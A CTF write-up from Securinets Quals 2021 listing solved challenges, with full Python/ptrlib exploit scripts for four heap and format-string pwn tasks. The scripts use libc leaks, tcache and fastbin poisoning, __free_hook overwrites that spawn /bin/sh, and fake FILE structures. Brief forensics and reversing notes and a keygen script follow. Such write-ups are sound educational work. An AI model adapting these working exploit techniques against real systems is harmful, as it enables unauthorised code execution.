I solved all of the pwn tasks, one forensics, steganography, and rev task with other members. Although I felt the stego and forensics tasks somewhat guessy, I enjoyed the CTF overall.
Solving those pwn tasks after the heavy LINE CTF was a nice change of pace and I enjoyed it. The tasks are neither too easy nor too hard. (My favourite style!)
Other members' write-upts:
Here is my very concise writre-ups.
- [Pwn 810pts] kill shot (24 solves)
- [Pwn 988pts] Membership Management (7 solves)
- [Pwn 896pts] Death Note (18 solves)
- [Pwn 957pts] Success (12 solves)
- [Forensics 655pts] What App is on Fire?
- [Reversing 100pts] Little Baby Rev (68 solves)
- [Reversing 930pts] RUN! (15 solves)
- [Steganography 793pts] Extrafiltration (25 solves)
- Seccomp protected binary
- Format String Bug to leak the libc and stack address
- Write What Where to link fastbinY to the stack
- Get some chunks from fastbin, which eventually pops the stack region
- ROP to win
from ptrlib import * def add(size, data): sock.sendlineafter("exit", "1") sock.sendlineafter("Size: ", str(size)) sock.sendafter("Data: ", data) def delete(index): sock.sendlineafter("exit", "2") sock.sendlineafter("Index: ", str(index)) """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./kill_shot") """ libc = ELF("libc.so.6") sock = Socket("bin.q21.ctfsecurinets.com", 1338) sock.sendlineafter(": ", "%6$p.%25$p.%15$p\n") r = sock.recvline().split(b'.') addr_stack = int(r[0], 16) - 0x180 libc_base = int(r[1], 16) - libc.symbol('__libc_start_main') - 0xe7 canary = int(r[2], 16) logger.info("stack = " + hex(addr_stack)) logger.info("libc = " + hex(libc_base)) logger.info("canary = " + hex(canary)) sock.sendafter("Pointer: ", str(libc_base + libc.main_arena() + 0x38)) sock.sendafter("Content: ", p64(addr_stack - 3)) addr_flag = addr_stack + 0x10 rop_pop_rdi = libc_base + 0x0002155f rop_pop_rsi = libc_base + 0x00023e8a rop_pop_rdx_rsi = libc_base + 0x00130889 for i in range(7): add(0x68, "legoshi") payload = b'A' * 3 payload += b'/home/ctf/flag.txt\0' payload += b"A" * (0x38+3 - len(payload)) payload += p64(rop_pop_rdx_rsi) payload += p64(0x1000) + p64(addr_stack + 0x68) payload += p64(libc_base + libc.symbol("read")) payload += b'A' * (0x68 - len(payload)) add(0x68, payload) payload = flat([ rop_pop_rdi, -100, rop_pop_rdx_rsi, 0, addr_stack + 0x10, libc_base + libc.symbol("openat"), rop_pop_rdi, 5, rop_pop_rdx_rsi, 0x60, addr_stack, libc_base + libc.symbol("read"), rop_pop_rdi, 1, libc_base + libc.symbol("write"), ], map=p64) sock.send(payload) sock.interactive()
- Use-after-Free
- No function to print the note
- Corrupt tcache and link to
_IO_2_1_stdout_
- Leak libc base and win
from ptrlib import * import time def new(): sock.sendlineafter(">", "1") def delete(index): sock.sendlineafter(">", "2") sock.sendlineafter(": ", str(index)) def edit(index, data): sock.sendlineafter(">", "3") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", data) libc = ELF("libc-2.31.so") sock = Socket("bin.q21.ctfsecurinets.com", 1339) logger.info("preparing...") for i in range(14): new() logger.info("evil writer") delete(0) delete(1) edit(1, b'\xe0') new() new() logger.info("overlap") delete(2) delete(3) edit(3, b'\x00') new() new() delete(2) delete(3) payload = b'\x00' * 0x18 + p64(0x421) edit(1, payload) delete(0) payload = b'\x00' * 0x18 + p64(0x61) payload += b'\xa0\x16' edit(1, payload) logger.info("leak go") new() new() logger.info("edit") payload = p64(0xfbad1800) payload += p64(0) * 3 payload += b'\x08' edit(2, payload) libc_base = u64(sock.recvuntil("- sub")[:8]) - libc.symbol('_IO_2_1_stdin_') logger.info("libc = " + hex(libc_base)) if libc_base > 0x7fffffffffff or libc_base < 0: logger.warn("Bad luck!") exit(1) delete(4) delete(5) edit(5, p64(libc_base + libc.symbol('__free_hook'))) new() new() edit(4, p64(libc_base + libc.symbol('system'))) edit(10, "/bin/sh\0") delete(10) sock.interactive()
- Negative index is allowed in edit
- Because of the OOB, we can use the pointers in tcache structure
- Modify the note list to get the AAR/AAW primitive
from ptrlib import * def add(size): sock.sendlineafter("Exit", "1") sock.sendlineafter(":", str(size)) def edit(index, data): sock.sendlineafter("Exit", "2") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", data) def delete(index): sock.sendlineafter("Exit", "3") sock.sendlineafter(": ", str(index)) def view(index): sock.sendlineafter("Exit", "4") sock.sendlineafter(": ", str(index)) return sock.recvline() libc = ELF("libc.so.6") sock = Socket("bin.q21.ctfsecurinets.com", 1337) for i in range(10): add(0xf8) delete(0) delete(1) add(0xf8) heap_base = u64(view(0)) - 0x2c0 logger.info("heap = " + hex(heap_base)) delete(0) edit(-0x34, p64(heap_base + 0x2a0)) add(0xf8) add(0xf8) edit(1, p64(heap_base + 0x2b0)) edit(8, p64(0) + p64(0x421)) edit(1, p64(heap_base + 0x6d0)) edit(8, (p64(0) + p64(0x21)) * 3) edit(1, p64(heap_base + 0x2c0)) delete(8) edit(1, p64(heap_base + 0x2c0)) libc_base = u64(view(8)) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) edit(1, p64(libc_base + libc.symbol("__free_hook"))) edit(8, p64(libc_base + libc.symbol("system"))) edit(0, "/bin/sh\0") delete(0) sock.interactive()
- Out of bound write on the array
- We can overwrite the lower 32-bit of the pointer to a FILE structure
- The memory map of the heap and process shares the same upper 32-bit address
- We can fclose a fake FILE structure
from ptrlib import * """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./main2_success") """ libc = ELF("libc.so.6") sock = Socket("bin.q21.ctfsecurinets.com", 1340) sock.sendafter("username: ", "1"*8) proc_base = u64(sock.recvlineafter("1"*8)[:6]) - 0x1090 logger.info("proc = " + hex(proc_base)) sock.sendafter("username: ", "2"*0x38) libc_base = u64(sock.recvlineafter("2"*0x38)[:6]) - libc.symbol('_IO_2_1_stdout_') logger.info("libc = " + hex(libc_base)) sock.sendafter("username: ", "PINA\0") sock.sendlineafter(": ", "64") new_size = libc_base + next(libc.find("/bin/sh")) fake_file = p64(0xfbad1800) fake_file += p64(0) fake_file += p64(0) fake_file += p64(0) fake_file += p64(0) fake_file += p64((new_size - 100) // 2) fake_file += p64(0) fake_file += p64(0) fake_file += p64((new_size - 100) // 2) fake_file += p64(0) * 4 fake_file += p64(libc_base + libc.symbol("_IO_2_1_stderr_")) fake_file += p64(3) + p64(0) fake_file += p64(0) + p64(libc_base + 0x3ed8c0) fake_file += p64((1<<64) - 1) + p64(0) fake_file += p64(libc_base + 0x3eb8c0) fake_file += p64(0) * 6 fake_file += p64(libc_base + 0x3e8360 + 8) fake_file += p64(libc_base + libc.symbol("system")) fake_file += b'A' * (0x100 - len(fake_file)) fake_file += p32((proc_base + 0x202060) & 0xffffffff) for block in chunks(fake_file, 4): sock.sendlineafter(": ", str(u32(block, type=float))) sock.interactive()
- 4.5GB rar file given (what?)
- EWF disk image for a Windows machine
- WhatsApp and FireFox are installed
- Link to google drive in the message db
- The half flag and a link to a login form written in the google drive
- Credential of the form is saved in the FireFox profile
- Login to get the rest half of the flag
- ELF binary created by Nim-lang
- Dynamically check the string at the strcmp-like function
- Found the flag there
class LameRand: def __init__(self, seed): self.next = seed def rand(self): self.next = self.next * 0x343FD + 0x269EC3 self.next = self.next & 0xffffffff return (self.next >> 0x10) & 0x7FFF for seed in range(1, 0x100): lm = LameRand(seed) rr = [lm.rand() for i in range(0x100)] if 1 in rr: break X = 0xbcdb6 username = chr(seed) v = X key = '' while True: l = list(filter(lambda x: x < v, rr)) if l == []: break n = rr.index(max(l)) key += f'{n:02x}' * (v // rr[n]) v = v % rr[n] print(v) n = rr.index(1) key += f'{n:02x}' * v print(key) print(username)